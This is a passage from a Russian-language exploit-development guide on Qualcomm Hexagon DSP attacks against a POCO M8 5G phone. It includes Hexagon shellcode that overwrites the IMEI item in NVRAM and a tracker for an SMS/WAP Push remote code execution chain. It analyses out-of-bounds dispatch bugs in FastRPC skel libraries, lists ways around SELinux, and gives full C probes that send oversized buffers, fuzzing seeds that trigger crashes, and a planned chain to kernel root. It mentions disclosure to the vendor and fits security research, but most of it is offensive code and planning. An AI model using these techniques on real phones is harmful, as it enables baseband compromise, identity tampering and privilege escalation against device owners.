- SMEM доступ: Qualcomm SMEM (
smem_alloc) — разделяемая память между MPSS, CDSP и ARM
### NVRAM write примитив
IMEI и network credentials хранятся в NVRAM. Запись через
nv_write_item:
Code:
; Hexagon shellcode: nv_write_item(NV_ESN_ME_I, &data)
_sc_nvram_write:
allocframe(#0x10)
; NV_ESN_ME_I = 0 (ESN/IMEI item)
r0 = #0x0
; data ptr (в стеке)
r1 = r29
; value = 0xDEADBEEF (proof)
memw(r29+#0x0) = ##0xdeadbeef
call ##nv_write_item_addr ; адрес из b11
deallocframe
jumpr r31
### FastRPC к CDSP (следующий этап)
Из MPSS через SMEM можно подготовить данные которые читает CDSP-сервис. Полный путь MPSS → CDSP → kernel LPE описан в Главе 10.
---
## 9.7 TODO (из EXPLOIT_STATUS.md)
### Сделано
- [x] Идентификация
wms_ts_decode_gw_pp @ 0xbbd70b48 - [x] Анализ бага
0xbbd70d84: обе ветки →0xbbd70dc8 - [x] UDL gap:
0xbbd20808, порог 160 vs 140 - [x]
sms_harness.c: AFL++ кампания, 25601 крашей, unique=1 - [x]
harness_wms.S: патч b27, верификация реального кода - [x]
_sc_crashshellcode: 20 байт, Hexagon null write - [x] PDU
03_wap_shellcode.bin: shellcode + NOP sled + ptr overwrite - [x] DIAG инъекция:
diag_inject_pdu.py
### В работе
- [ ] Точный offset до ptr в WMS BSS после
0xc2a78ad8 + 140- Нужно: реверс структуры
wms_msg_s_type полностью- Метод: статический анализ BSS инициализации в b08
- [ ] Верификация ptr overwrite на устройстве (не crash → controlled RIP)
- Нужно: rooted device + DIAG доступ
- Статус: устройство available, DIAG — нужна группа
- [ ] Shellcode для LPE: запись в NVRAM (IMEI overwrite как proof)
- Нужно: написать Hexagon shellcode для
nv_write_item- Функция
nv_write_item в b11: найдена по строкам- [ ] Coverage-guided фаззинг b11 (1408 функций с allocframe > 0x200)
- Нужно: отдельный harness для QMI dispatcher
- Потенциал: найти дополнительные overflow в SMS/QMI path
- [ ] OTA верификация на реальной сети
- Нужно: тестовая SIM + оператор с API или femtocell
---
## 9.8 Ответственное раскрытие
Qualcomm PSIRT:
[email protected].Затронутые компоненты:
wms_ts_decode_gw_pp— bounds check не abort (критический)- UDL gate
0xbbd20808— неправильный порог (дополнительный)
Прошивка: MPSS.DE.3.1.4.c1-00319, устройство POCO M8 5G.
Timeline до публикации: 90 дней от даты уведомления.
---
Hexagon QDSP6 остаётся недоисследованной площадкой. b11 — 1408 кандидатов. Копай дальше.
ewpage
# Глава 10. LPE через FastRPC: анализ skel-библиотек
by progasm
---
## 10.1 Архитектура атаки
Цепочка WMS exploit даёт RCE на MPSS DSP. Следующий уровень — Linux kernel privilege escalation. Путь к нему лежит через FastRPC — механизм Remote Procedure Call между ARM (HLOS) и Hexagon DSP.
Code:
[ADB shell uid=2000]
│
▼
/dev/fastrpc-cdsp ←── SELinux BLOCK (u:r:shell→vendor_qdsp_device)
│
│ (обход: через binder-сервис или app-контекст)
▼
kernel fastrpc driver (msm_fastrpc)
│
▼
DSP fastrpc_shell_3 ← загружает skel .so в DSP user PD
│
▼
skel_handle_invoke(_h, _sc, _pra) ← atack surface
│
▼
[RCE на DSP] → shared memory corruption → kernel LPE
Модель угрозы: атакующий с
uid=2000 (adb shell) или любым app-контекстом имеющим доступ к CDSP хочет выполнить код в DSP user PD, затем через shared memory corruption или QDI syscall перейти в kernel.---
## 10.2 SELinux барьер и пути обхода
### Состояние устройства
Bash:
adb shell ls -la /dev/fastrpc-cdsp
# crw-rw-r-- system system 507, 3 2026-05-09 /dev/fastrpc-cdsp
adb shell id
# uid=2000(shell) gid=2000(shell) groups=...
| Узел | DAC | SELinux тип | Доступен из shell? |
|------|-----|-------------|-------------------|
|
/dev/fastrpc-cdsp | crw-rw-r-- system system | vendor_qdsp_device | EACCES ||
/dev/fastrpc-adsp-secure | crw-r--r-- system system | — | EACCES |u:r:shell:s0 не имеет SELinux allow-правила для vendor_qdsp_device:chr_file { open read write ioctl }. Прямой open("/dev/fastrpc-cdsp", O_RDWR) блокируется.### Пути обхода
1.
cdsprpcd binder-сервис (приоритет 1):cdsprpcd работает под uid=system, имеет доступ к fastrpc-cdsp. Принимает binder IPC. Если его binder интерфейс принимает сырые буферы — можно proxy через него.
Bash:
adb shell service list | grep dsp
# может показать: com.qualcomm.qti.cdsp.libcdsprpc
2. NNAPI / Camera HAL (приоритет 2):
Android NNAPI (
/dev/nnapi), Camera ISP, биометрия — все используют CDSP внутри. Эти сервисы имеют SELinux allow на fastrpc. Если найти уязвимость в их binder-интерфейсе — можем proxy через них.3. Setuid бинарь (не найден):
Bash:
find /vendor /system -perm /4000 2>/dev/null | head -20
# пока не обнаружено бинарей связанных с fastrpc
4. Kernel race / OOB (без открытия устройства):
Альтернатива — найти баг в другом kernel driver, не требующем fastrpc-cdsp. В рамках данного исследования не разрабатывался.
---
## 10.3 Skel-библиотеки: attack surface
FastRPC-сервисы на CDSP загружают
.so файлы в DSP user PD через путь:
Code:
HLOS call: remote_handle_open("file:///vendor/lib/rfsa/adsp/libXXX_skel.so?func")
→ kernel maps shared memory
→ DSP loads ELF into user PD
→ dispatch function becomes callable
### Библиотеки найденные на устройстве
| Библиотека | Размер | Dispatch-функция | Привилегии |
|------------|--------|-----------------|------------|
|
libsysmon_skel.so | ~120 KB | sysmon_skel_invoke | DSP user PD ||
libsysmondomain_skel.so | ~200 KB | sysmon_skel_invoke | DSP user PD ||
cdsp_libsysmon_skel.so | ~400 KB | sysmon_skel_invoke | DSP user PD ||
libstabilitydomain_skel.so | ~28 KB | stabilitydomain_skel_handle_invoke | DSP user PD ||
libsns_device_mode_skel.so | ~4 KB | sns_device_mode_skel_handle_invoke | DSP user PD ||
libsns_direct_channel_skel.so | ~3 KB | sns_direct_channel_skel_handle_invoke | DSP user PD ||
libfastcvdsp_skel.so | 668 KB | stripped | DSP user PD ||
libbitml_nsp_v2_skel.so | 6 MB | stripped | DSP user PD ||
libcamera_nn_skel.so | 707 KB | stripped | DSP user PD ||
libapn_dsp_skel.so | 404 KB | stripped | DSP user PD |Путь на устройстве:
/vendor/lib64/rfs/dsp/. Загружаются как Hexagon ELF (ET_DYN), без PIE в старых версиях.---
## 10.4 FastRPC ABI
Все skel dispatch-функции компилируются QAIC IDL компилятором с единой сигнатурой:
C:
int skel_handle_invoke(
remote_handle64 _h, // r1:r0 — handle (64-bit = два 32-bit регистра)
uint32_t _sc, // r2 — scalar encoding
remote_arg_t *_pra // r3 — массив аргументов
);
### Scalar encoding (
_sc)
Code:
bits [31:29] reserved
bits [28:24] method_id (5 бит, 0–31)
bits [23:16] n_out количество output буферов
bits [15:8] n_in количество input буферов
bits [7:4] n_inout количество inout буферов
bits [3:0] misc
Макрос кодирования (HLOS сторона,
fastrpc_probe.c):
C:
#define FASTRPC_SCALARS(method, nin, nout) \
(((method) << 24) | ((nin) << 16) | ((nout) << 8))
// Пример: метод 0, 1 входной буфер, 1 выходной:
uint32_t sc = FASTRPC_SCALARS(0, 1, 1); // = 0x00010100
###
remote_arg_t (8 байт)
C:
typedef struct {
union { void *pv; uint64_t p; };
uint32_t nLen; // длина буфера
} remote_arg_t;
На 32-bit Hexagon:
pv = 32-bit pointer в shared memory, nLen = длина. Атакующий контролирует оба поля.---
## 10.5 Уязвимость 1: OOB dispatch в
sysmon_skel_invokeТип:
OOB_INDEX Библиотека:
libsysmon_skel.so Адрес:
0x9cac (entry point dispatch) Severity: HIGH
### Механизм
Dispatch-функция извлекает
method_id из _sc:
Code:
; sysmon_skel_invoke entry @ 0x9cac:
r4 = extractu(r2, #5, #0x18) ; method_id = bits[28:24] of _sc (0–31)
; ... следующие инструкции:
0x9ccc: r4 = memw(r3+r4<<#0x2) ; r4 = dispatch_table[method_id]
; ← ЗДЕСЬ: нет проверки method_id < max!
jumpr r4 ; jump to method handler
Нет ни одного
cmp.gtu на method_id в первых 20 инструкциях функции.### Сравнение с защищённой библиотекой
libstabilitydomain_skel.so имеет корректный bounds check:
Code:
; stabilitydomain_skel_handle_invoke @ 0x5a8c:
r4 = extractu(r2, #5, #0x18) ; method_id
p0 = cmp.gtu(r4, #0xa) ; method_id > 10?
if (p0.new) jump:nt 0x5ecc ; да → return error ← ЗАЩИТА
r4 = memw(r5 + r4 << #0x2) ; чтение из таблицы
jumpr r4
В
libstabilitydomain_skel.so: максимум 10 методов, проверка есть. В
libsysmon_skel.so: проверки нет.### Эксплоит-примитив
Code:
method_id = 31 (максимум в 5-битном поле)
→ r4 = memw(dispatch_table + 31*4)
→ если dispatch_table имеет < 32 записей: OOB read
→ значение за таблицей → jumpr r4 с произвольным адресом
Для превращения в arbitrary code execution нужно знать адрес dispatch table и что лежит за ней. В PIE-бинаре это требует info leak; в non-PIE — смещение фиксировано.
---
## 10.6 Уязвимость 2: taint r16 в memory ops (56 срабатываний)
Тип:
MISSING_CHECK (taint analysis) Библиотека:
libsysmon_skel.so Severity: HIGH (56 находок)
Инструмент: angr taint tracking через
fastrpc_analysis.py### Механизм
Code:
r3 = _pra (аргумент dispatch, полностью контролируется атакующим)
↓
r16 = memw(r3+...) (чтение pointer из _pra структуры)
↓
memb(r16+#0x0) = r2 ← WRITE через r16, нет bounds check
memb(r16+#0x3) = r3
memb(r16+#0x2) = r3
memb(r16+#0x1) = r2
...
Адреса с HIGH-severity writes через r16:
| Адрес | Инструкция |
|-------|-----------|
|
0xa7e8 | memb(r16+#0x0) = r2.new ||
0xa7f0 | memb(r16+#0x3) = r3.new ||
0xa7fc | memb(r16+#0x2) = r3.new ||
0xa804 | memb(r16+#0x1) = r2 ||
0xabe8 | memb(r16+#0x0) = r2.new ||
0xabf0 | memb(r16+#0x3) = r3.new ||
0xabfc | memb(r16+#0x2) = r3.new ||
0xac04 | memb(r16+#0x1) = r2 ||
0xad60 | memb(r16+#0x0) = r2.new ||
0xad68 | memb(r16+#0x3) = r3.new ||
0xaf44 | { memb(r16+#0x0) = r2; memb(r16+#0x4) = r3 } ||
0xaf50 | memb(r16+#0x6) = r4.new ||
0xaf5c | memb(r16+#0x7) = r6 |Примечание: часть срабатываний — false positives тaint-анализа (taint слишком широко распространяется). Адреса
0xa7e8–0xa804, 0xabe8–0xac04, 0xad60 — наиболее приоритетные для ручной верификации.---
## 10.7 Уязвимость 3: захардкоженный dst в
sysmon_usermode_buffer_copyТип:
MISSING_CHECK / hardcoded dst size Библиотека:
libsysmon_skel.so Адрес:
0x33c8 Severity: MEDIUM→HIGH (зависит от вызывающего)
### Дизассем
Code:
00003388 <sysmon_usermode_buffer_copy>:
3388: r17:16 = combine(r1, r2) ; r17=src_ptr, r16=dst
...
33c8: r3:r2 = combine(r18, ##0x101) ; r2 = 0x101 = 257 байт (dst_max_len HARDCODED)
33cc: r5:r4 = combine(r16, r17) ; r4 = src_ptr, r5 = src_len (от вызывающего)
33d0: call 0x28f0 ; memscpy(dst, 0x101, src, src_len)
33d4: p0 = cmp.gt(r0, #-0x1) ; SIGNED check возврата!
Первичная защита:
memscpy копирует min(dst_max, src_len) — при правильном использовании безопасно.Проблема — signed check возврата. Паттерн CVE-2020-11201: если где-то выше
src_len проверяется как signed int, значение 0x80000001 (-2147483647 как signed) проходит проверку len ≤ MAX_LEN (отрицательное число ≤ MAX), но передаётся в copy как огромное uint32_t. Нужно верифицировать вызывающую сторону в sysmon_skel_invoke.---
## 10.8 Уязвимость 4:
stabilitydomain_user_pd_crashТип: unauthorized DSP user PD crash
Библиотека:
libstabilitydomain_skel.so Адрес:
0x4eb4 Severity: MEDIUM (DoS)
Функция
stabilitydomain_user_pd_crash присутствует в dispatch-таблице. Вызов без авторизации — crash DSP user PD → нестабильность системы.Прямого LPE нет, но полезно для изучения поведения при крашах DSP PD и потенциально для DoS-зависимых side-channel атак.
---
## 10.9 QDI interface в
libstabilitydomain_skel.soТип: DSP kernel call surface
Библиотека:
libstabilitydomain_skel.so Severity: исследуется
Импорты из QuRT kernel:
Code:
qurt_qdi_qhi3
qurt_qdi_qhi4
qurt_qdi_qhi5
qurt_qdi_qhi6
qurt_qdi_qhi9
QDI (Qualcomm Driver Interface) — механизм syscall из DSP user-process в DSP kernel. Если через dispatch можно вызвать метод, использующий эти функции с контролируемыми аргументами — потенциальная дыра в DSP kernel space (аналог Linux syscall с неправильной валидацией).
Из DSP kernel → shared memory → Linux kernel LPE: каждый шаг требует отдельного примитива, но сам наличие QDI вызовов в публичном dispatch интерфейсе — серьёзный расширитель атаки.
---
## 10.10 PoC: зондирование fastrpc из ADB shell
Код
fastrpc_probe.c — тест доступности с измерением реального поведения SELinux:
C:
/*
* fastrpc_probe.c — FastRPC CDSP access probe
* Compile: aarch64-linux-gnu-gcc -static -o fastrpc_probe fastrpc_probe.c
* Deploy: adb push fastrpc_probe /data/local/tmp/ && adb shell chmod +x ...
*/
#define FASTRPC_SCALARS(m, in, out) (((m) << 24) | ((in) << 16) | ((out) << 8))
static void test_direct_open(void) {
int fd = open("/dev/fastrpc-cdsp", O_RDWR);
if (fd >= 0) {
printf("[!!!] OPENED — SELinux allows shell→fastrpc-cdsp!\n");
close(fd);
} else {
printf("[x] open failed: %s — SELinux blocking\n", strerror(errno));
}
}
static void test_via_libcdsprpc(void) {
void *h = dlopen("/vendor/lib64/libcdsprpc.so", RTLD_LAZY);
pfn_remote_handle_open fn_open = dlsym(h, "remote_handle_open");
remote_handle rh = 0xFFFFFFFF;
int rc = fn_open(
"file:///vendor/lib/rfsa/adsp/libsysmon_skel.so?sysmon_skel_invoke",
&rh
);
if (rc == 0) {
printf("[!!!] OPENED sysmon skel handle=%u\n", rh);
/* Attempt oversized invoke: dst buf = 0x101, send 0x200 bytes */
uint8_t in_buf[0x200];
memset(in_buf, 0x41, sizeof(in_buf));
remote_arg_t pra[2];
pra[0].pv = in_buf;
pra[0].nLen = sizeof(in_buf); /* 0x200 > 0x101 hardcoded dst */
pra[1].pv = out_buf;
pra[1].nLen = sizeof(out_buf);
uint32_t sc = FASTRPC_SCALARS(0, 1, 1);
rc = fn_inv((remote_handle64)rh, sc, pra);
printf("[*] invoke rc=%d (0=ok, <0=error)\n", rc);
} else {
printf("[x] open failed: rc=%d errno=%d\n", rc, errno);
/* errno 13=EACCES (SELinux), 2=ENOENT, 111=ECONNREFUSED */
}
}
Запуск:
Bash:
# На реальном устройстве НЕ запускался.
# Ожидаемый результат из u:r:shell:s0:
#
# adb push fastrpc_probe /data/local/tmp/
# adb shell chmod +x /data/local/tmp/fastrpc_probe
# adb shell /data/local/tmp/fastrpc_probe
# [x] open failed: Permission denied (errno=13) — SELinux blocking
# [x] open failed: rc=-1 errno=13
Ожидаемый результат из
u:r:shell:s0: оба теста блокируются SELinux (основано на анализе SELinux политики vendor_qdsp_device). При наличии более широкого context (app с android.permission.MANAGE_MEDIA) — результат может отличаться. Не верифицировано.---
## 10.11 Harness для fuzzing skel-библиотек
### Архитектура
harness_sysmon.S
Code:
; harness_sysmon.S — fuzz sysmon_skel_invoke через AFL++/qemu-hexagon
;
; Формат stdin:
; bytes [0..3]: _sc (method_id + buf counts)
; bytes [4..7]: in_len (pra[0].nLen — атакуемый размер)
; bytes [8..]: payload (содержимое входного буфера)
.text
.global _start
_start:
; --- Читаем fuzz input из stdin ---
r0 = #0 ; fd=stdin
r1 = ##input_buf ; buf
r2 = ##0x400 ; max read
trap0(#1) ; syscall: read
; --- Парсим _sc ---
r2 = memw(##input_buf) ; _sc = input[0..3]
; --- Парсим in_len (атакуемое поле nLen) ---
r16 = memw(##input_buf + 4) ; in_len = input[4..7]
; --- Заполняем _pra ---
memw(##pra + 0) = ##in_buf ; pra[0].pv = &in_buf
memw(##pra + 4) = r16 ; pra[0].nLen = in_len ← fuzz target
memw(##pra + 8) = ##out_buf ; pra[1].pv = &out_buf
memw(##pra + 12) = ##0x400 ; pra[1].nLen = 0x400 (output fixed)
; --- Копируем payload в in_buf ---
r0 = ##in_buf
r1 = ##input_buf + 8
r2 = r16 ; len = in_len (AFL controls)
call memcpy
; --- Вызываем dispatch ---
r1:r0 = combine(#0, #1) ; _h = 1 (dummy handle)
; r2 = _sc (уже установлен)
r3 = ##pra ; _pra
call sysmon_skel_invoke
; --- Crash detection ---
; (SIGSEGV при OOB → AFL++ записывает crash)
jumpr r31
.bss
input_buf: .space 0x400
in_buf: .space 0x400
out_buf: .space 0x400
pra: .space 32
### AFL++ кампания
Bash:
# Собираем harness
clang-20 -target hexagon-unknown-linux-musl -nostdlib \
-T hexagon.ld harness_sysmon.S libsysmon_skel.so \
-o /tmp/sysmon_fuzz.elf
# Начальные seeds
mkdir sysmon_seeds/
# seed 1: method_id=0, in_len=0x10, 16 байт 0x41
python3 -c "import struct; sys.stdout.buffer.write(
struct.pack('<I', 0x00010100) + # sc: method=0, nin=1, nout=1
struct.pack('<I', 0x10) + # in_len = 16
b'\x41' * 16)" > sysmon_seeds/01_basic.bin
# seed 2: method_id=31 (OOB trigger)
python3 -c "import struct; sys.stdout.buffer.write(
struct.pack('<I', (31 << 24) | (1 << 16) | (1 << 8)) +
struct.pack('<I', 0x10) +
b'\x42' * 16)" > sysmon_seeds/02_oob_method.bin
# seed 3: oversized buffer (triggers sysmon_usermode_buffer_copy bug)
python3 -c "import struct; sys.stdout.buffer.write(
struct.pack('<I', 0x00010100) +
struct.pack('<I', 0x200) + # 0x200 > 0x101 hardcoded dst
b'\x43' * 0x200)" > sysmon_seeds/03_oversized.bin
# Запускаем AFL++
AFL_NO_FORKSRV=1 AFL_SKIP_BIN_CHECK=1 AFL_SKIP_CPUFREQ=1 \
afl-fuzz -n -t 2000 \
-i sysmon_seeds/ \
-o sysmon_afl_out/ \
-- qemu-hexagon /tmp/sysmon_fuzz.elf
Ожидаемое: при
method_id=31 → OOB read dispatch table → invalid jumpr → SIGSEGV → sig:11.---
## 10.12 Теоретическая цепочка: MPSS → CDSP → kernel
Статус: Полностью теоретическая. Не реализовывалась и не тестировалась. Описание основано на архитектурных знаниях о SMEM, QDI и fastrpc — без конкретных адресов и без верификации.
Полная exploit chain требует трёх этапов:
### Этап 1: RCE на MPSS (уже реализован)
Описан в главах 8–9. WAP Push overflow → shellcode в QuRT WMS task → контроль над MPSS DSP.
### Этап 2: Боковое движение MPSS → CDSP
MPSS и CDSP — разные DSP домены. Связь между ними:
- Shared memory: оба DSP имеют доступ к определённым регионам shared memory с ARM
- QMI каналы: WMS stack в MPSS имеет QMI endpoint, через который может посылать сообщения другим subsystems
- SMEM: Qualcomm SMEM (
smem_alloc,smem_find) — разделяемая память между всеми subsystems
Из MPSS shellcode: записываем в SMEM область которую читает CDSP-сервис → контролируем данные в CDSP process.
### Этап 3: CDSP shellcode → kernel LPE
Из CDSP DSP user PD, если есть RCE:
1. Через QDI: вызываем
qurt_qdi_qhi* с контролируемыми args → DSP kernel space2. Через shared memory corruption: пишем в область mapped в Linux kernel → kernel RIP
3. Через /dev/fastrpc ioctl: fastrpc kernel driver маппит shared memory
copy_from_user → если есть баг в driverКонкретный путь к
root:
Code:
DSP RCE
→ запись в /proc/sys/kernel/... через DSP mapped region
→ или: через fastrpc map/unmap race condition → use-after-free в kernel
→ kernel code execution
→ setuid(0) + execve("/system/bin/sh")
---
## 10.13 Статистика анализа
Результаты запуска
fastrpc_analysis.py по libsysmon_skel.so:| Метрика | Значение |
|---------|----------|
| Проанализировано библиотек | 1 |
| Всего находок | 655 |
| CRITICAL | 0 |
| HIGH | 56 |
| MEDIUM | 599 |
| Основная функция |
sysmon_skel_invoke || Первичный класс HIGH |
MISSING_CHECK (taint r16 из _pra) || OOB dispatch | confirmed @
0x9cac || Hardcoded buffer | confirmed @
0x33c8 (dst=0x101) |Инструменты:
Bash:
# Полный анализ всех libraries
cd /home/z0r0/poco_m8_5g/dsp_analysis
python3 fastrpc_analysis.py --report findings/full_report.md
# Конкретная lib + symbolic exec
python3 fastrpc_analysis.py --lib libs/libsysmon_skel.so --symbolic
# Pattern scanner (быстрый)
python3 dsp_vuln_finder.py
---
## 10.14 TODO: следующие шаги
### Сделано
- [x] Перечисление skel-библиотек: 10 targets
- [x] FastRPC ABI задокументирован
- [x] OOB dispatch подтверждён в
libsysmon_skel.so @ 0x9cac - [x] 56 HIGH taint-находок в
sysmon_skel_invoke - [x]
sysmon_usermode_buffer_copy @ 0x33c8: hardcoded dst=0x101 - [x]
fastrpc_probe.c: зондирование SELinux барьера
### В работе
- [ ] Ручная верификация OOB в
0x9ccc: r4 = memw(r3+r4<<#0x2) — что за таблицей?- Метод:
llvm-objdump --arch=hexagon -d libsysmon_skel.so | sed -n '/sysmon_skel_invoke/,/^[0-9]/ p' | head -50- [ ] Signed length check в вызывающем для
sysmon_usermode_buffer_copy- Нужно: дизассем пути
sysmon_skel_invoke → sysmon_usermode_buffer_copy с backward slice для src_len- [ ] Путь доступа из shell к libsysmon_skel.so
- Опция 1:
cdsprpcd binder interface проксирует наш invoke- Опция 2: NNAPI context (
[email protected])- [ ] Harness
harness_sysmon.S + AFL++ кампания по OOB dispatch- Seed 02 (
method_id=31) ожидаемо даст crash при первом запуске- [ ]
libstabilitydomain_skel.so: вызовы QDI с контролируемыми аргументами-
qurt_qdi_qhi3/4/5/6/9 — задокументировать what each does---
## 10.15 Ответственное раскрытие
Qualcomm PSIRT:
[email protected].Затронутые компоненты:
libsysmon_skel.so— OOB dispatch, tainted writes (без CVE номера, ещё не раскрыто)libstabilitydomain_skel.so— unauthorized PD crash, QDI exposuremsm_fastrpckernel driver — attack surface analysis (не баг в driver, но vector)
Устройство: POCO M8 5G (SM6475/Snapdragon 6 Gen 3).
Firmware: MPSS.DE.3.1.4.c1-00319.
Timeline: 90 дней от даты уведомления перед публикацией.
---
DSP attack surface на Qualcomm — огромный. 10 skel-библиотек, 655 автоматически найденных кандидатов, 56 HIGH. Ручная верификация OOB в
sysmon_skel_invoke @ 0x9cac — следующий приоритет.ewpage
# Приложение A. PoC исходники: fastrpc_probe.c и fastrpc_probe2.c
Инструменты зондирования FastRPC CDSP доступа из ADB shell контекста.
Статус: Собраны для aarch64-linux-gnu. На устройстве не запускались.
Компиляция:aarch64-linux-gnu-gcc -static -o fastrpc_probe fastrpc_probe.c
Деплой:adb push fastrpc_probe /data/local/tmp/ && adb shell chmod +x /data/local/tmp/fastrpc_probe
---
## A.1 fastrpc_probe.c
Тест через
dlopen(libcdsprpc.so) + remote_handle_open:
C:
/*
* fastrpc_probe.c - FastRPC CDSP access probe from ADB shell context
*
* Tests if u:r:shell:s0 can:
* 1. Open /dev/fastrpc-cdsp directly (expected: denied by SELinux)
* 2. Call remote_handle_open via libcdsprpc.so (may bypass DAC check)
* 3. Invoke a CDSP skel function with oversized buffer (vuln check)
*
* Compile: aarch64-linux-gnu-gcc -static -o fastrpc_probe fastrpc_probe.c
* Deploy: adb push fastrpc_probe /data/local/tmp/; adb shell chmod +x ...
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <dlfcn.h>
#include <stdint.h>
/* FastRPC remote_arg_t structure */
typedef struct {
union { void *pv; uint64_t p; };
uint32_t nLen;
} remote_arg_t;
typedef uint32_t remote_handle;
typedef uint64_t remote_handle64;
/* FastRPC HLOS API (from libcdsprpc.so) */
typedef int (*pfn_remote_handle_open)(const char *name, remote_handle *ph);
typedef int (*pfn_remote_handle_close)(remote_handle h);
typedef int (*pfn_remote_handle64_invoke)(remote_handle64 h, uint32_t dwScalars, remote_arg_t *pra);
typedef int (*pfn_remote_handle64_close)(remote_handle64 h);
/*
* FastRPC scalar encoding:
* FASTRPC_SCALARS(method, nin, nout) = ((method << 24) | (nin << 16) | (nout << 8))
*/
#define FASTRPC_SCALARS(m, in, out) (((m) << 24) | ((in) << 16) | ((out) << 8))
static void test_direct_open(void) {
printf("\n[1] Testing direct /dev/fastrpc-cdsp open...\n");
int fd = open("/dev/fastrpc-cdsp", O_RDWR);
if (fd >= 0) {
printf(" [!!!] OPENED fd=%d (SELinux allows shell→fastrpc-cdsp!)\n", fd);
close(fd);
} else {
printf(" [x] open failed: %s (errno=%d) — SELinux blocking\n",
strerror(errno), errno);
}
}
static void test_via_libcdsprpc(void) {
printf("\n[2] Testing via libcdsprpc.so remote_handle_open...\n");
void *h = dlopen("/vendor/lib64/libcdsprpc.so", RTLD_LAZY);
if (!h) {
printf(" [x] dlopen failed: %s\n", dlerror());
return;
}
printf(" [+] dlopen OK\n");
pfn_remote_handle_open fn_open =
(pfn_remote_handle_open)dlsym(h, "remote_handle_open");
if (!fn_open) {
printf(" [x] dlsym(remote_handle_open) failed\n");
dlclose(h);
return;
}
/* Try opening the sysmon service - well-known FastRPC CDSP service */
remote_handle rh = 0xFFFFFFFF;
int rc = fn_open("file:///vendor/lib/rfsa/adsp/libsysmon_skel.so?sysmon_skel_invoke", &rh);
if (rc == 0) {
printf(" [!!!] OPENED sysmon skel handle=%u\n", rh);
/* Now try invoking with oversized buffer - sysmon_usermode_buffer_copy */
/* method 0, 1 in-buf, 1 out-buf: sc = FASTRPC_SCALARS(0, 1, 1) */
printf(" [*] Attempting oversize invoke (sysmon_usermode_buffer_copy dst=0x101)...\n");
pfn_remote_handle64_invoke fn_inv =
(pfn_remote_handle64_invoke)dlsym(h, "remote_handle64_invoke");
if (fn_inv) {
uint8_t in_buf[0x200];
uint8_t out_buf[0x200];
memset(in_buf, 0x41, sizeof(in_buf));
remote_arg_t pra[2];
pra[0].pv = in_buf;
pra[0].nLen = sizeof(in_buf); /* 0x200 > 0x101 hardcoded dst */
pra[1].pv = out_buf;
pra[1].nLen = sizeof(out_buf);
uint32_t sc = FASTRPC_SCALARS(0, 1, 1);
rc = fn_inv((remote_handle64)rh, sc, pra);
printf(" [*] invoke rc=%d (0=ok, <0=error)\n", rc);
}
pfn_remote_handle_close fn_close =
(pfn_remote_handle_close)dlsym(h, "remote_handle_close");
if (fn_close) fn_close(rh);
} else {
printf(" [x] remote_handle_open failed: rc=%d errno=%d (%s)\n",
rc, errno, strerror(errno));
printf(" [*] errno 13=EACCES (SELinux), 2=ENOENT, 111=ECONNREFUSED\n");
}
dlclose(h);
}
int main(int argc, char **argv) {
printf("FastRPC CDSP probe — shell context test\n");
printf("pid=%d uid=%d\n", getpid(), getuid());
test_direct_open();
test_via_libcdsprpc();
return 0;
}
---
## A.2 fastrpc_probe2.c
Тест через прямой
ioctl(FASTRPC_IOCTL_INVOKE2) без dlopen:
C:
/*
* fastrpc_probe2.c - direct ioctl approach without dlopen
* Tests FastRPC CDSP access using raw ioctl on /dev/fastrpc-cdsp
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <sys/ioctl.h>
/* fastrpc ioctl interface (from kernel source: include/uapi/misc/fastrpc.h) */
#define FASTRPC_IOCTL_INVOKE2 _IOWR('R', 4, struct fastrpc_ioctl_invoke_async)
#define FASTRPC_IOCTL_INIT _IOWR('R', 6, struct fastrpc_ioctl_init)
struct fastrpc_remote_buf {
void *pv;
uint64_t len;
};
struct fastrpc_remote_dma_handle {
int fd;
uint32_t offset;
uint32_t len;
};
struct fastrpc_remote_arg {
union {
struct fastrpc_remote_buf buf;
struct fastrpc_remote_dma_handle dma;
};
};
struct fastrpc_ioctl_invoke {
uint32_t handle;
uint32_t sc;
struct fastrpc_remote_arg *pra;
};
struct fastrpc_ioctl_invoke_async {
struct fastrpc_ioctl_invoke inv;
uint32_t *attrs;
uint32_t *fds;
uint32_t job;
};
int main(void) {
printf("FastRPC CDSP raw ioctl probe\n");
printf("uid=%d\n", getuid());
/* Test 1: open fastrpc-cdsp */
int fd = open("/dev/fastrpc-cdsp", O_RDWR | O_CLOEXEC);
if (fd < 0) {
printf("[x] open /dev/fastrpc-cdsp: %s (errno=%d)\n",
strerror(errno), errno);
printf(" SELinux context blocks shell→vendor_qdsp_device\n");
/* Test 2: try fastrpc-adsp instead */
fd = open("/dev/fastrpc-adsp-secure", O_RDWR | O_CLOEXEC);
if (fd >= 0) {
printf("[!] Opened fastrpc-adsp-secure! fd=%d\n", fd);
close(fd);
} else {
printf("[x] fastrpc-adsp-secure: %s\n", strerror(errno));
}
return 1;
}
printf("[!!!] OPENED /dev/fastrpc-cdsp fd=%d\n", fd);
/* Test 3: invoke sysmon (handle 3 = built-in sysmon) with overflow */
uint8_t in_buf[0x200];
uint8_t out_buf[0x100];
memset(in_buf, 0x41, sizeof(in_buf));
struct fastrpc_remote_arg pra[2];
memset(&pra, 0, sizeof(pra));
pra[0].buf.pv = in_buf;
pra[0].buf.len = sizeof(in_buf); /* 0x200 > 0x101 hardcoded dst */
pra[1].buf.pv = out_buf;
pra[1].buf.len = sizeof(out_buf);
struct fastrpc_ioctl_invoke_async req;
memset(&req, 0, sizeof(req));
req.inv.handle = 3; /* built-in sysmon handle */
req.inv.sc = (0 << 24) | (1 << 16) | (1 << 8); /* method 0, 1 in, 1 out */
req.inv.pra = pra;
int rc = ioctl(fd, FASTRPC_IOCTL_INVOKE2, &req);
printf("[*] ioctl INVOKE2 rc=%d errno=%d (%s)\n", rc, errno, strerror(errno));
close(fd);
return 0;
}
ewpage
# Приложение B. dsp_vuln_finder.py
Паттерн-сканер уязвимостей в Hexagon DSP skel .so библиотеках.
Инструмент: статический анализ черезllvm-objdump --arch=hexagon, без angr.
Цель: найти баги классаSIGNED_LEN_CHECK,OOB_INDEX,MISSING_SIZE_CHECKв dispatch-функциях.
Запуск:python3 dsp_vuln_finder.py --lib libsysmon_skel.so
Python:
#!/usr/bin/env python3
"""
dsp_vuln_finder.py — Hexagon DSP skel .so vulnerability finder
Approach:
1. Disassemble with llvm-objdump (no angr arch issues)
2. Parse instructions to find vulnerability patterns
3. Map sysmon_skel_invoke dispatch table → each method's arg checks
